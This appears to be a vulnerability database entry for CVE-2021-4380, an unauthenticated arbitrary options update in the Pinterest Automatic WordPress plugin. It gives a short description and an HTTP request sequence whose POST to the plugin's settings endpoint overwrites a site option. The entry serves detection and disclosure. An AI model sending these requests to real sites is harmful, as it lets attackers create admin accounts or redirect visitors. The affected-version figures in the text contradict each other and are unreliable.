🔙 목록으로 돌아가기

CVE-2021-4380: Pinterest Automatic < 4.14.4 - Unauthenticated Arbitrary Options Update

TitlePinterest Automatic < 4.14.4 - Unauthenticated Arbitrary Options Update
Authors4e-io
SeverityCritical
ImpactUnauthenticated attackers can update arbitrary WordPress options including creating administrative accounts or redirecting site visitors to malicious content.
RemediationFixed in 4.14.4
CVSS Score9.8
EPSS Score0.8366
CVE IDCVE-2021-4380
Tags cve cve2021 wordpress wp wp-plugin wp vkev intrusive pinterest-automatic-pin vuln

🔍 Vulnerability Description

The Pinterest Automatic plugin for WordPress is vulnerable to authorization bypass due to missing capability checks on the ‘wp_pinterest_automatic_parse_request’ function and the ‘process_form.php’ script in versions up to, and including, 1.14.3. This makes it possible for unauthenticated attackers to update arbitrary options on a site that can be used to create new administrative user accounts or redirect unsuspecting site visitors.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Version/16.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /?wp_pinterest_automatic=settings HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

blogdescription=CjvwhT!
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-4380.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-4380.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A